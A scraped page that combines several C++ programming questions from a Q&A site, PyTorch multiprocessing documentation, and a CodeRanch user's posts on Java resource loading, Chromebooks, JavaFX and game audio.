Can anyone reproduce this? Am I doing something wrong, or is this a bug? There have been bugs with inserting Bezier curves into arrangements before—see this thread concerning a since-fixed problem in an earlier CGAL version.
main.cpp:
#include <CGAL/Cartesian.h> #include <CGAL/CORE_algebraic_number_traits.h> #include <CGAL/Arr_Bezier_curve_traits_2.h> #include <CGAL/Arrangement_2.h> #include <sstream> using NtTraits = CGAL::CORE_algebraic_number_traits; using Rational = NtTraits::Rational; using Algebraic = NtTraits::Algebraic; using RationalKernel = CGAL::Cartesian< Rational >; using AlgebraicKernel = CGAL::Cartesian< Algebraic >; using ArrTraits = CGAL::Arr_Bezier_curve_traits_2< RationalKernel, AlgebraicKernel, NtTraits >; using BezierCurve2 = ArrTraits::Curve_2; using Arrangement = CGAL::Arrangement_2< ArrTraits >; int main() { // Change 10.1 to 10 and problem goes away. const std::string curvesData = "2 \ 2 -10 0 10.1 0 \ 2 10 10 10 0 "; std::istringstream stream( curvesData ); std::vector< BezierCurve2 > curvesToInsert; size_t numCurves = 0; stream >> numCurves; for( size_t i = 0; i < numCurves; i++ ) { BezierCurve2 curve; stream >> curve; curvesToInsert.push_back( curve ); } Arrangement arr; // Assertion violation here. CGAL::insert( arr, curvesToInsert.begin(), curvesToInsert.end() ); return 0; }
- Read letters from the keyboard and insert them in a BST
Read letters from the keyboard and insert them in a BST. The reading process stops when the user inserts the character 0 (zero)
BST<string> *r= new BST<string>; string q1[MAX]; string n1; int a =0; cout<<"Enter the letter"<<"/n"; for(int i=0;i<MAX;i++) { cin>n1; q1[i]=n1; a++; if(q1[i] == "0"){ break; } } for(int j=0;j<a;j++){ t->insert(q1[j];)} };
The error messages appear for "cout", "i" and "j" and some expected unqualified-id before "for"
||=== Build: Debug in BIG HW 3 ex 1 (compiler: GNU GCC Compiler) ===| E:\CodeBlocks\BIG HW 3\main.cpp|151|error: 'cout' does not name a type| E:\CodeBlocks\BIG HW 3\main.cpp|152|error: expected unqualified-id before 'for'| E:\CodeBlocks\BIG HW 3\main.cpp|152|error: 'i' does not name a type| E:\CodeBlocks\BIG HW 3\main.cpp|152|error: 'i' does not name a type| E:\CodeBlocks\BIG HW 3\main.cpp|162|error: expected unqualified-id before 'for'| E:\CodeBlocks\BIG HW 3\main.cpp|162|error: 'j' does not name a type| E:\CodeBlocks\BIG HW 3\main.cpp|162|error: 'j' does not name a type|
- How do I fix the balancing of the Red Black tree?
This is the entire implementation which I have tried out for Red Black Trees using templates. Click here to download my code. The tree is printing fine. But it is not balancing itself after insertion and deletion. I feel the left rotate and right rotate functions are fine. Pls help me fix the error in insertfixup and delfixup function.
- Can't read from text file using c++ using atom on MacOS
I'm using atom on my mac(c++) to try to open a text file and read from it, but when I run it, it goes blank. [enter image description here][1]
When it goes to the function copydata, nothing shows up even tho the text file has written words in it.
#include <iostream> #include <string> #include <fstream> #include <algorithm> using namespace std; void copydata(string name , string x[]) { ifstream inFile; inFile.open(name); int i = 0; while (inFile >> x[i]) { i++; } } void displaynames(string x[]) { for (int i =0 ; i<4 ; i++) cout << x[i] << endl; } int main() { string names[10]; string filename = "datas.txt"; copydata(filename,names); displaynames(names); sort(names, names+10); displaynames(names); return 0; }
- std::length_error at memory location 0x012FEC9C at string assignment
I'm tring to read variables off of a binary file located in my PC based on a structure order of variables. when I try to assign the input string value to the structure array string value it breaks, and not at first but at the second iteration of the loop.
here's my code:
#include "pch.h" #include <iostream> #include <fstream> #include <string> #include <cstdlib> #include <vector> using namespace std; struct inputWord { string word; int value=0; bool did = false; }; void createFile(); static string filePath = "E:\\tmp\\wordArray.dat"; int main() { createFile(); //string filePath; ifstream file; string content; int value; cout << "enter input file path with double back slash each time instead of one with the file name and .dat extension" << endl; //cin >> filePath; inputWord *inputWordsArray = new inputWord[5]; int numberOfWords = 0; file.open(filePath, ios::in | ios::binary);//attempt to open file if (file.is_open()) {//check if file was opened file.seekg(0, ios::beg);//position file pointer int i = 0; while(!file.eof()) {//check if reached end of file if (i >= 5) break; file.read((char*)& content, sizeof(string)); file.read((char*)& value, sizeof(int)); inputWordsArray[i].word = content; inputWordsArray[i].value = value; numberOfWords++; i++; } file.close(); } else { cout << "Problem opening file" << endl;//report problem if file was not opened properly exit(0); } return 0; } void createFile() { inputWord inputArray1[30]; inputArray1[0].word = "ab"; inputArray1[0].value = 250; inputArray1[1].word = "abc"; inputArray1[1].value = 200; inputArray1[2].word = "abcd"; inputArray1[2].value = 150; inputArray1[3].word = "abcde"; inputArray1[3].value = 100; inputArray1[4].word = "abcdef"; inputArray1[4].value = 50; string filePath = "E:\\tmp\\wordArray.dat"; ofstream file1; file1.open(filePath, ios::out | ios::binary); if (file1.is_open()) { file1.seekp(0, ios::beg); for (int i = 0; i < 5; i++) { file1.write((char*)& inputArray1[i].word, sizeof(string)); file1.write((char*)& inputArray1[i].value, sizeof(int)); } file1.close(); } else { cout << "Problem occurred while opening the file"; exit(0); } }
it breaks on:
inputWordsArray[i].word = content;
I'd really appreciate any help in understanding why is this happening?
thnx anyway.
- Severity Code Description Project File Line Suppression State Error C2676 binary '>>': 'std::ifstream'
i am trying to define function in header file that takes 2 arguments, std::ifstream and char* .. function is going to check if char* type argument is in file then return true else it will return false. the compiler shows me the error message about ">>" operation with ifstream reference
P.S Note that, i am defining function in external my own header file
firstly i have passed parameter of fstream, then changed to ifstream but same error message
bool check_for_valid_name(std::ifstream &file, char* name) { char data[sizeof(name)]; while (file.eof()) { file >> data; if (strcmp(data, name)) { return true; } } return false; }
it should work fine, just return false or true but the compiler shows error: Severity Code Description Project File Line Suppression State Error C2676 binary '>>': 'std::ifstream'
- Atoi function not returning int expected - C++
string number = " 9782123456803";
char buffer[256]; istringstream is_number(number); is_number.getline(buffer, 255); int n = atoi(buffer);
Expected return from n :
9782123456903
And what i get is :
2147483647
I've used this code a few times but im not sure why its returning this weird int instead of the correct answer, any idea why? Thanks.
- Using istringstream in C++
I have some code that utilizes fork, execlp, and wait to make two processes. The objective is to be able to repeatedly print a prompt and have the user enter a command with up to 4 arguments/options to the command.
int main() { string command, argument; istringstream iss(argument); do { //prompt user for command to run cout << "Enter command: "; cin >> command >> argument; int pid, rs, status; //fork will make 2 processes pid = fork(); if(pid == -1) { perror("fork"); exit(EXIT_FAILURE); } if(pid == 0) { //Child process: exec to command with argument //C_str to get the character string of a string rs = execlp(command.c_str(), command.c_str(), argument.c_str(), (char*) NULL); . if (rs == -1) { perror("execlp"); exit(EXIT_FAILURE); } } else { //Parent process: wait for child to end wait(&status); } } while(command != "exit"); return 0; }
I knew that the current code I have would be able to support only one argument to the command, but I wasn't sure about what to use in order to specify between 1 to 4 arguments. That's when I a friend mentioned to me about
std::istringstream, but while looking into it, I didn't understand how to use it for input with the rest of the program. Is there a way to set it up or is there a different method to use to fulfill the requirements?
- Stuck reading first line of a file over and over
I'm trying to record lines of data from a text file and store them in variables so I can use those variables to create and object with those values. My text file is set up to have a string1 num1 num2 string2. They are separated by white space and there's 15 lines. For now, I'm just trying to print them so I can easily tell it's working. However, it's printing the first line 15 times, so I'm guessing that it's just reading the first line and not proceeding to the next line. I'm just learning about reading from files though so any help would be appreciated. Thanks.
ifstream inFile; string line; inFile.open("CellValues.txt"); //Check for Error if (inFile.fail()) { cerr << "File does not exist!"; exit(1); } int index = 0, max_num = 0; string type, name; istringstream inStream; while (getline(inFile, line)) { inStream.str(line); inStream >> type >> index >> max_num >> name; cout << type << " / " << index << " of " << max_num << " / " << name << endl; }
|
http://quabr.com/53203048/do-ifstream-or-istringstream-have-issues-processing-tabs
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Multiprocessing best practices¶
torch.multiprocessing is a drop in replacement for Python’s
multiprocessing module. It supports the exact same operations,
but extends it, so that all tensors sent through a
multiprocessing.Queue, will have their data moved into shared
memory and will only send a handle to another process.
Note
When a
Tensor is sent to another process, the
Tensor data is shared. If
torch.Tensor.grad is
not
None, it is also shared. After a
Tensor without
a
torch.Tensor.grad field is sent to the other process, it
creates a standard process-specific
.grad
Tensor that
is not automatically shared across all processes, unlike how the
Tensor’s data has been shared.
This allows to implement various training methods, like Hogwild, A3C, or any others that require asynchronous operation.
CUDA in multiprocessing¶
The CUDA runtime does not support the
fork start method. However,
multiprocessing in Python 2 can only create subprocesses using
fork. So Python 3 and either
spawn or
forkserver start method are
required to use CUDA in subprocesses.
Note
The start method can be set via either creating a context with
multiprocessing.get_context(...) or directly using
multiprocessing.set_start_method(...).
Unlike CPU tensors, the sending process is required to keep the original tensor as long as the receiving process retains a copy of the tensor. It is implemented under the hood but requires users to follow the best practices for the program to run correctly. For example, the sending process must stay alive as long as the consumer process has references to the tensor, and the refcounting can not save you if the consumer process exits abnormally via a fatal signal. See this section.
See also: Use nn.DataParallel instead of multiprocessing
Best practices and tips¶
Avoiding and fighting deadlocks¶
There are a lot of things that can go wrong when a new process is spawned, with
the most common cause of deadlocks being background threads. If there’s any
thread that holds a lock or imports a module, and
fork is called, it’s very
likely that the subprocess will be in a corrupted state and will deadlock or
fail in a different way. Note that even if you don’t, Python built in
libraries do - no need to look further than
multiprocessing.
multiprocessing.Queue is actually a very complex class, that
spawns multiple threads used to serialize, send and receive objects, and they
can cause aforementioned problems too. If you find yourself in such situation
try using a
multiprocessing.queues.SimpleQueue, that doesn’t
use any additional threads.
We’re trying our best to make it easy for you and ensure these deadlocks don’t happen but some things are out of our control. If you have any issues you can’t cope with for a while, try reaching out on forums, and we’ll see if it’s an issue we can fix.
Reuse buffers passed through a Queue¶
Remember that each time you put a
Tensor into a
multiprocessing.Queue, it has to be moved into shared memory.
If it’s already shared, it is a no-op, otherwise it will incur an additional
memory copy that can slow down the whole process. Even if you have a pool of
processes sending data to a single one, make it send the buffers back - this
is nearly free and will let you avoid a copy when sending next batch.
Asynchronous multiprocess training (e.g. Hogwild)¶
Using
torch.multiprocessing, it is possible to train a model
asynchronously, with parameters either shared all the time, or being
periodically synchronized. In the first case, we recommend sending over the whole
model object, while in the latter, we advise to only send the
state_dict().
We recommend using
multiprocessing.Queue for passing all kinds
of PyTorch objects between processes. It is possible to e.g. inherit the tensors
and storages already in shared memory, when using the
fork start method,
however it is very bug prone and should be used with care, and only by advanced
users. Queues, even though they’re sometimes a less elegant solution, will work
properly in all cases.
Warning
You should be careful about having global statements, that are not guarded
with an
if __name__ == '__main__'. If a different start method than
fork is used, they will be executed in all subprocesses.
Hogwild¶
A concrete Hogwild implementation can be found in the examples repository, but to showcase the overall structure of the code, there’s also a minimal example below as well:
import torch.multiprocessing as mp from model import MyModel def train(model): # Construct data_loader, optimizer, etc. for data, labels in data_loader: optimizer.zero_grad() loss_fn(model(data), labels).backward() optimizer.step() # This will update the shared parameters if __name__ == '__main__': num_processes = 4 model = MyModel() # NOTE: this is required for the ``fork`` method to work model.share_memory() processes = [] for rank in range(num_processes): p = mp.Process(target=train, args=(model,)) p.start() processes.append(p) for p in processes: p.join()
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Recent posts by Phil Freihofner
Java Module
I'm thinking STS = Spring Tool Suite, which is built on Eclipse.
show more
5 months ago
Jigsaw and Modules
getResource returning null, revisited
I took a look at the API for
Class.getResource() from Java 6
, and it seems the same rules were in use then as they are now. The description refers to "." being changed to "/". So maybe "../res" becomes "///res"? But the Eclipse IDE instead handles the "../" in the standard HTML way?
Of course, the compiler doesn't know if the address being specified is going to be called from in a file system context or a jar context. But maybe the Eclipse IDE should enforce that conversion rather than allowing the more lenient "file system" rules to apply, if that is what is happening?
I'm thinking it must be a false memory on my part that I had used "../" with jars in the past.
Relative addressing should be safe for code packed and run as a jar, I would think.
show more
1 year ago
I/O and Streams
getResource returning null, revisited
The problem goes away if I move my resources to a subfolder and no longer use ".." as part of the address.
I thought we could use ".." for relative addressing?
Was this at one time possible?
show more
1 year ago
I/O and Streams
getResource returning null, revisited
It's been years since I've had trouble with the
getResource
method, and the code below has been working for a couple of years. But for some unknown reason the code started returning nulls.
What has changed?
Previously, to compile for distribution, I would copy source to a directory and compile and use jlink via the CLI, using Java 11, due to not figuring out how to make a proper Jar with a modular program from within Eclipse. That version works fine. (And, the source, in Eclipse, runs fine.)
Yesterday, I started a new project in Eclipse and set it to use Java 8. Then I copied the source code from the Java 11 version into the Java 8 project. This code also runs fine in Eclipse. Then I exported the Java 8 code to a .jar and tried running it, but got an
IOException
due to a null URL.
Here is a code fragment. Some diagnostics were added for posting here at CodeRanch.
public AboutPanel() { JEditorPane textArea = new JEditorPane(); textArea.setEditable(false); textArea.setContentType("text/html"); // code added for diagnostic purposes URL[] urls = ((URLClassLoader) ClassLoader.getSystemClassLoader()).getURLs(); for (URL url : urls) { System.out.println(url); } URL helpUrl = AboutPanel.class.getResource("."); System.out.println("helpUrl = " + helpUrl); URL helpUrl2 = AboutPanel.class.getResource(".."); System.out.println("helpUrl2 = " + helpUrl2); URL helpUrl3 = AboutPanel.class.getResource("../res"); System.out.println("helpUrl3 = " + helpUrl3); // end of diagnostic code, actual program continues from here URL introURL = AboutPanel.class.getResource("../res/help.html"); try { textArea.setPage(introURL); } catch (IOException e) { e.printStackTrace(); }
The idea of getting the various urls came from another coderanch post from 4 years ago. Following is the output from running in Eclipse.
file:/C:/Users/Genie/newEclipse/J8_ToneCircleDrone/bin/ file:/C:/Users/Genie/newEclipse/J8_PFAudio/bin/ helpUrl = file:/C:/Users/Genie/newEclipse/J8_ToneCircleDrone/bin/com/adonax/tanpura/panels/ helpUrl2 = file:/C:/Users/Genie/newEclipse/J8_ToneCircleDrone/bin/com/adonax/tanpura/ helpUrl3 = file:/C:/Users/Genie/newEclipse/J8_ToneCircleDrone/bin/com/adonax/tanpura/res
Following is the output from my Windows Command Prompt. I was careful about running the code with the exact same Java version that is used in Eclipse for that project.
C:\Users\Genie\Desktop\tonecircledrone>"%JAVA8_BIN%\java" -jar tcd8.jar file:/C:/Users/Genie/Desktop/tonecircledrone/tcd8.jar helpUrl = null helpUrl2 = null helpUrl3 = null java.io.IOException: invalid url at javax.swing.JEditorPane.setPage(JEditorPane.java:415) at com.adonax.tanpura.panels.AboutPanel.<init>(AboutPanel.java:40) at com.adonax.tanpura.panels.ControlPanel.initializeHelpPanel(ControlPanel.java:558) at com.adonax.tanpura.panels.ControlPanel.<init>(ControlPanel.java:179) at com.adonax.tanpura.TCDLaunch.main(TCDLaunch.java:57)
I get this output from both a Windows 10 and an Ubuntu 18.04 desktop (two different computers). I looked at the code in JEditorPane(line 415), and the value of the URL is null which throws the IOException. The code "textArea.setPage(ntroURL);" is
AboutPanel
's line 40 cited in the stack trace.
This isn't a case of the getResource command failing because it cannot find a resource because the path is incorrect, as far as I can tell. The relative path of "." (when assigning
helpUrl
) should eliminate that idea, yes?
Any thoughts on how to proceed?
show more
1 year ago
I/O and Streams
Java on Chromebook?
Yes! I'm also researching the possibility of going the route of jetty/java/freemarker/webaudioAPI. That should work for some of what I've done and want to do. But the real-time work, e.g., a virtual theremin, and some other tools that are based on real time response, I don't know yet. I need to learn more, including how the computational work of the program is divided between the server and the client. Also, whether one can feed raw data into a WebAudio output similar to the way one can feed data directly to a SourceDataLine for output with javax.sound.sampled.
Back to Chromebooks, though, even better than the GalliumOS, I've learned that Crostini has become standard with Chrome OS 69, and it supports Debian Linux. I just installed a Debian Java 11 and Jetty on a Ubuntu-server system, so it's pretty certain that Java 11 should work on Chromebook that is enabled with Crostini. The question remains, though, on how "scary" enabling Linux will be to school district IT departments, and whether doing so disrupts other programs that the units are intended to run.
show more
2 years ago
Java in General
Java on Chromebook?
Looks like installing GalliumOS enables the install of either Java 8 or Java 11, and that it is an OpenJDK version (good!). That should allow the creation of a JLINK-created jre for a self-contained Java application.
The program would need the GalliumOS running on the Chromebook in order to run.
So the main practical hurdle is more non-technical: whether a school teacher (or IT department for a school that purchases the Chromebooks) is willing to install GalliumOS on multiple Chromebooks.
show more
2 years ago
Java in General
Java on Chromebook?
Yes, thanks, I've been looking at the articles. I'm trying to ballpark "commercial viability," so that entails ease-of-install and -use for the user base (elementary school kids and teachers).
Maybe it is the way my brain works--I tend to read a lot more ambiguity into text than other people. (Part of why I love Java is it's relative lack of ambiguity, it's tendency to explicit and clear at the cost of a little verbosity.)
Things that to me are not answered:
Are "extra steps"
required
of the user in order to run a Java program? From the articles, it seems that the we are dealing with the need to do one or more of the following:
> run via "Developer mode"
> have dual boot ChrUbuntu installed
or
> have Crouton installed
Also, I see references to Java 8 but none to module-based Javas. A self-contained program with the entire JRE embedded runs, what, 300+MB? With JLINK, I am able to package downloads in the vicinity of 18MB that unpack to around 75-80 MB.
One article mentioned the ability to boot ChrUbuntu from a thumb drive. Selling programs with a thumb drive would be a plausible business plan (not necessarily a good one, but at least worth considering). But not if the user also has to be in developer mode to boot from the thumb drive.
It seems that schools are increasingly making use of Chromebooks, and so, Chromebooks are becoming an important platform for educational software.
(Alternate plan to be considered to reach this market: write GUI in HTML/CSS/JS with FreeMarker link to the Java program, run a Jetty or Apache server, make the programs .war files. But that will require researching if WebAudio can perform in a manner comparable to a javax.sound.sampled.SourceDataLine.)
show more
2 years ago
Java in General
Java on Chromebook?
I have been developing a library and code base in Java pertaining to audio (relying on javax.sound.sampled, but I've previously made a wrapper that allows audio output on Android). I was just speaking with some school teachers who thinks some of the musical programs I made would be interesting to her students. She has been budgeted with one Chromebook per student. I'm wondering what is required to get my applications running on Chromebook.
Based on very cursory research, it appears that running a Java application on a Chromebook is no easy feat. I have had success with using jlink to make self-contained applications that run on Windows (64-bit) and MacOSX. Is there a process for creating a runnable program, written in Java, for the Chromebook? I don't mind going through a few elaborate hoops, but the resulting program would have to be easy for the end user to install in order to make this worthwhile.
Is this a possibility?
Has Google designed their system to exclude the running of Java?
show more
2 years ago
Java in General
MouseEvent.MOUSE_PRESSED is not detected for a short time after keystroke
Thank you for testing and replying.
I think the problem is particular to this Dell Laptop. Or maybe its touchpad.
I just tried to do a quick letter type and touchpad click in Notepad, and got exactly the same result.
The click was completely ignored unless I first waited a little over a second.
However, when using a mouse instead of the touchpad, the click responds immediately, no matter how quickly done after the key press.
Also, the JavaFX code I listed works with a mouse, and only exhibits the problem with the touchpad.
I was wrong to use the terms mouse and touch pad as if they were equivalent in my original post. Bad assumption on my part.
Well, it's good to know this isn't a JavaFX coding problem. But it is still kind of messed up. I'm going to have to rethink some aspects of the GUI I had in mind. Can't be requiring people who use a touchscreen laptop to attach a mouse just for my program.
show more
2 years ago
JavaFX
MouseEvent.MOUSE_PRESSED is not detected for a short time after keystroke
In the following example, if one moves the mouse over the red rectangle in the application and presses the mouse, "mouse pressed" messages are sent to the console.
On my system (Dell Laptop, Windows 10, OpenJKD 11, OpenJFX 11), if I press and release a key (e.g., the letter "r") and then click the mouse, the event does not appear to reach either the filter or the node unless a certain amount of time has first elapsed. I'm not sure of the duration, but if one clicks the mouse within 1/2 second of releasing the key, nothing. If one clicks after waiting for 2 seconds to elapse, then the event is captured.
During this time interval, mouse movements ARE being captured, as is shown by the console displaying "mouse moved" messages. There is no interference to mouse movement events caused by pressing a key.
I have tried (as can be see in the code) using an event filter, and made sure the node was focus-traverseable in case it was some sort of focus issue. In another example (not shown) I created a key-event handler and explicitly request focus for the "playpad" after hitting the letter "r", and this did not help.
Does anyone know why there is this time interval where mouse-pressed events are not being captured? Any thoughts on how to avoid this delay?
In the larger application where this issue showed up, I was using the "r" key to start capturing mouse state (position, pressed/not pressed) while the mouse is over the pad. But it is "blind" to mouse presses at the start, as described.
import javafx.application.Application; import javafx.geometry.Insets; import javafx.scene.Group; import javafx.scene.Scene; import javafx.scene.layout.GridPane; import javafx.scene.paint.Color; import javafx.stage.Stage; public class LaunchMousePressTest extends Application { public static void main(String[] args) { Application.launch(args); } @Override public void start(Stage primaryStage) { primaryStage.setTitle("MousePressTest"); Group root = new Group(); Scene scene = new Scene(root, 500, 200, Color.DARKGREY); PlayPad playPad = new PlayPad(400, 150); GridPane grid = new GridPane(); grid.setPadding(new Insets(30, 10, 10, 10)); grid.setVgap(10); grid.setHgap(10); grid.add(playPad, 0, 0); playPad.setFocusTraversable(true); root.getChildren().add(grid); primaryStage.setScene(scene); primaryStage.show(); } }
import javafx.event.EventHandler; import javafx.scene.canvas.Canvas; import javafx.scene.canvas.GraphicsContext; import javafx.scene.input.MouseEvent; import javafx.scene.paint.Color; public class PlayPad extends Canvas { private GraphicsContext gc; public PlayPad(double arg1, double arg2) { super(arg1, arg2); gc = this.getGraphicsContext2D(); gc.setFill(Color.RED); gc.fillRect(0, 0, 400, 150); addEventFilter(MouseEvent.MOUSE_PRESSED, new EventHandler<MouseEvent>() { public void handle(MouseEvent e) { System.out.println("EventFilter - mouse pressed"); } }); setOnMousePressed(e -> { System.out.println("Playpad - mouse pressed"); }); setOnMouseReleased(e -> { System.out.println("Playpad - mouse released"); }); setOnMouseMoved( e -> updateMouseLocation((MouseEvent)e)); setOnMouseDragged(e -> updateMouseLocation((MouseEvent)e)); } private void updateMouseLocation(MouseEvent e) { System.out.println("mouse moved"); } }
show more
2 years ago
JavaFX
Beginner Java Game Development
The two theGreatNarratorReader function calls are going to be executed immediately one after the other.
Maybe instead of two calls, you can put your text into a String array, and write code to step through this array? Then, there would only be the one function call.
show more
4 years ago
Game Development
AudioCue, an alternative to Clip, for 2D games
I wrote an alternative to javax.sound.sampled.Clip, for the handling of sound cues in games. The license is BSD-based, the source code is viewable. To use, just add three classes to your project:
AudioCue
,
AudioCueListener
(an interface), and
AudioCueInstanceEvent
(used with the Listener). The API can be examined
here
.
This class will handle most* of the functionality that Clip provides, but with a couple useful additions:
concurrent playback of cues,
real-time fading for volume, panning and pitch, at the independent playback instance level.
Output is from an accessible internal float[] array via a javax.sound.sampled.SourceDataLine. Aspects like the audio playback thread priority and the internal buffer size used by the SourceDataLine are optionally configurable. The fader controls are built in, they do not make use of javax.sound.sampled.Control.
*An important limitation, however, is that I only implemented one format so far: 44100 fps, 16-bit, stereo, little-endian (aka "CD Quality").
I'm posting here at JavaRanch in part because I'm hoping for code review. I've had some great experiences here as a student (via the CattleDrive) and have found the feedback of excellent quality in terms of paying attention to best practices and design principles. I've made efforts to conform as best as I could to both the Javadocs API recommendations and to those of
Joshua Bloch
, and am wondering how code reviewers here would assess my efforts, in both the coding and the JavaDocs. Bloch says to expect that there will be things found that will need to change in the API after it is subjected to use--so, I will be appreciative of feedback and advice.
I notice that JavaRanch now has a "blatant advertising" tag for posts. Seems like it would be appropriate here. Is there something I need to do to add that tag? I don't see anything obvious, and am assuming this is something that moderators will do.
Additional discussion of the class and supporting downloads can be found
here
, including source code examples and jars. This
example jar
illustrates the real-time fader controls. This
example jar
illustrates how a single cue, (a single frog croak), might be used to build soundscape elements (a pond with many frogs). (The size of these jars comes mostly from the media content, and source is included.)
I hope JavaRanch game programmers find this class useful for their games!
show more
4 years ago
Game Development
Repainting Jpanel timer (60fps) 12% CPU usage
I agree with the advice to make things more event driven. But I think the util.Timer is usually a better bet for games than the Swing.Timer. It is true that you need to be more careful with interacting with Swing components, but this can often be handled by posting code on the EDT directly when necessary. Too much activity on the EDT really slows down performance--it quickly becomes a significant bottleneck.
In "Killer Game Programming" there are some test cases with the game loop timing being provided via a util.Timer vs a Swing.Timer, and the util.Timer ended up with much better performance, pretty much identical in performance to the fastest game loop structure that the book described and preferred.
Even easier to code, though, is the AnimationTimer in JavaFX! It runs at 60fps as a default.
Instead of BufferedImages, you would be using WritableImages. There is no need for either repaints or paint() methods or dealing Graphics2D and things like opacity are a simple property setting. There is a tutorial over at
JavaGaming.org
if you want a quick intro to JavaFX game loops. I've started converting a game I starting with Java2D to JavaFX and am really pleased with how much easier and cleaner the JavaFX code is. And, it integrates well with functional programming constructs that have been added in Java 8.
show more
5 years ago
Game Development
Why isn't JavaFX listed in the Forum title?
Overlooked. Thanks for the link!
Why is it so far down the list? Maybe put it next to the Swing button? GUI stuff should go together?
show more
5 years ago
Swing / AWT / SWT
|
https://coderanch.com/u/232289/Phil-Freihofner
|
CC-MAIN-2022-05
|
refinedweb
| 3,252
| 57.06
|
Signal/Slot between Threads Qt 5
Hi People,
I have a problem with Qt meta-type system and the signal and slot connections.
I try to connect a signal and slot with each other. The signal looks like this:
@
signals: void sigSaveFileName(QString&);
@
and the slot:
@
private slots: void slotPutSaveFileName(QString& name);
@
Before I connect those, I would like register the QString with qRegisterMetaType() method then call connect method:
@
qRegisterMetaType<QString>("QString");
connect(&_worker, &Worker::sigOpenFileName, this, &MainWindow::slotPutOpenFileName);
@
If I run my application, I watch the application output, and I get the following warning:
QObject::connect: Cannot queue arguments of type 'QString&'
(Make sure 'QString&' is registered using qRegisterMetaType().)
QObject::connect: Cannot queue arguments of type 'QString&'
(Make sure 'QString&' is registered using qRegisterMetaType().)
and doesn't happen anything :(
Can tell me somebody what I make wrong?
Regards,
Norbert
Hi,
No need to register QString, what you really want to have is
@
signals:
void sigSaveFileName(const QString& name);
private slots:
void slotPutSaveFileName(const QString& name);
@
I think the parameter identifier of the signal is not necessary too.
Indeed, it's not, but it's cleaner IMHO
If I register or not, I get this warning as output of the application:
QObject::connect: Cannot queue arguments of type ‘QString&’
(Make sure ‘QString&’ is registered using qRegisterMetaType().)
QObject::connect: Cannot queue arguments of type ‘QString&’
(Make sure ‘QString&’ is registered using qRegisterMetaType().)
so I think this is the reason because my application doesn't work.
Regards,
Norbert
Update: I would like to use those for communicate between threads: a GUI and a worker thread. By reason of my project is very huge, I made an little test code. In this program I would like communicate between an object which lives in main thread and an other object from the worker thread.
In this case get I same message, like the mentioned above.
The header looks like here:
@
#include <QThread>
#include <QString>
#include <QDebug>
class myThread: public QThread {
Q_OBJECT
signals: void sig(QString& contain);
private: void run() {
while(true) {
QString string;
emit sig(string);
qDebug() << string;
QThread::sleep(1);
}
}
};
class receiver: public QObject {
Q_OBJECT
public slots: void slot(QString& some){
some = "from slot";
}
};
@
and the main method:
@
#include <QCoreApplication>
#include "vmi.h"
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
myThread t; receiver r; QObject::connect(&t, &myThread::sig, &r, &receiver::slot); t.start(); a.exec(); t.wait(); return 0;
}
@
Try to pass Qt::DirectConnection as a last param (after slot) in QObject::connect. Qt::QueuedConnection connections do not work between threads.
- sierdzio Moderators last edited by
[quote author="toptan" date="1368172580"]Try to pass Qt::DirectConnection as a last param (after slot) in QObject::connect. Qt::QueuedConnection connections do not work between threads.[/quote]
Actually it's the other way around :) QueuedConnection works and stops you from worrying about locking resources, mutexes etc. DirectConnection can cause various threading problems to occur (but it's not prohibited, you just need to be more careful). Quoting from QThread documentation:
[quote]Note: If you interact with an object, using any technique other than queued signal/slot connections (e.g. direct function calls), then the usual multithreading precautions need to be taken.[/quote]
Don't use new connect syntax, revert to old one and use QueuedConnection, it should work.
There is something that's bothering me with your design. The idea behind signal and slots is that you send a value with a signal to a slot.
With
@public slots:
void slot(QString& some){
some = "from slot";
}@
you try to emit a signal and have the slot assign the value to the variable and read it after ? Furthermore in a threaded setup ?
That seems very "unusual"
- Chris Kawa Moderators last edited by
It's not only "unusual". It begs for an ugly crash at some point. Signal is passing a reference to a local variable string. If the queued slot happens to (and most likely will in this setup) fire after string is destroyed it goes into the horrible things land.
It may work at first look because the compiler is probably optimizing it by placing the string variable in the same place in memory but it's a bug by design.
This would be ok(well, sorta, it's still ugly) with a direct connection since they're pretty much a function call, but queued connections don't "block" at emitting signals.
|
https://forum.qt.io/topic/27083/signal-slot-between-threads-qt-5
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CC-MAIN-2022-40
|
refinedweb
| 730
| 51.48
|
What if I told you I could build a frontend in React then compile & deploy it, without a server, as HTML without any trace of javascript?
It's remarkably easy to do for any static, non-interactive page. Here's how!
SSR & react-snap 👏
Server-side rendering (SSR) is not a new concept. Websites, especially high-traffic ones, have been doing this for years to optimize for pageload performance. This was always in the forefront when I was at GMG/The Onion, as a fast reading experience was paramount.
SSR in React-land usually this refers to doing something like this (taken from the react-snap readme):
import { hydrate, render } from "react-dom"; const rootElement = document.getElementById("root"); if (rootElement.hasChildNodes()) { hydrate(<App />, rootElement); } else { render(<App />, rootElement); }
The server performs the initial
render then the client detects it and can just
hydrate. But sometimes I don't want to
hydrate, and instead prefer to completely abandon the code that got me there.
Luckily, there's a "zero-configuration framework-agnostic static prerendering" tool supports just that! react-snap uses puppeteer (headless Chrome) to virtually render the page, then does some additional optimizations.
Simply adding the package to any project with a build script (not just React, despite the name) and adding it as a
postbuild script will enable it:
"scripts": { "postbuild": "react-snap" }
And this gets us half of the way. To get this to be asset-less we'll also need a few other flags:
"reactSnap": { "inlineCss": true, "removeBlobs": true, "removeScriptTags": true, "removeStyleTags": true }
Note:
inlineCssis still an experimental feature and doesn't currently work because of a service worker issue. There's a patched version that includes a fix.
Now after running
build, react-snap and minimalcss will turn the virtual DOM into actual DOM, strip out all the assets, and return plain old HTML!
Why this is cool 🔮
- It provides the benefits of SSR without a real server.
- The client can just parse the HTML markup and be done with it. No script time, asset loading, etc.
- Styles are inlined, so no need to worry about hosting a stylesheet.
- Or correctly linking to it.
- Use any CSS-in-JS library you'd like; it won't be loaded on the client.
- All the heavy lifting happens once.
- Caching with traditional SSR can do this too, but then you have to worry about cache invalidation when making changes.
- It also gives your app SEO for free.
- Web crawlers don't care about your beautiful React bundle, just the HTML markup they can see.
Not for every use case
Obviously this approach falls apart when you need any interactivity on the page. But this shines when you're rendering a static, read-only page (like a blog article) and don't need any other bloat.
Stay tuned for another post where I'll share a project that applies this with CI!
Discussion (1)
Can you talk a bit more about the exception cases? I am using this package, but as soon as I run npm run build, it crawls the pages, but then gives an error. I am not sure if this is the reason.
|
https://dev.to/bryce/perform-a-react-disappearing-act-with-react-snap-1eo3
|
CC-MAIN-2021-49
|
refinedweb
| 527
| 63.8
|
I'm pretty sure the for loop will roll the dice and extra time, so if diceCount was 4, it would roll 5 times because you put less than OR equal to diceCount, it should only be less then. The...
Type: Posts; User: SupportIsPower
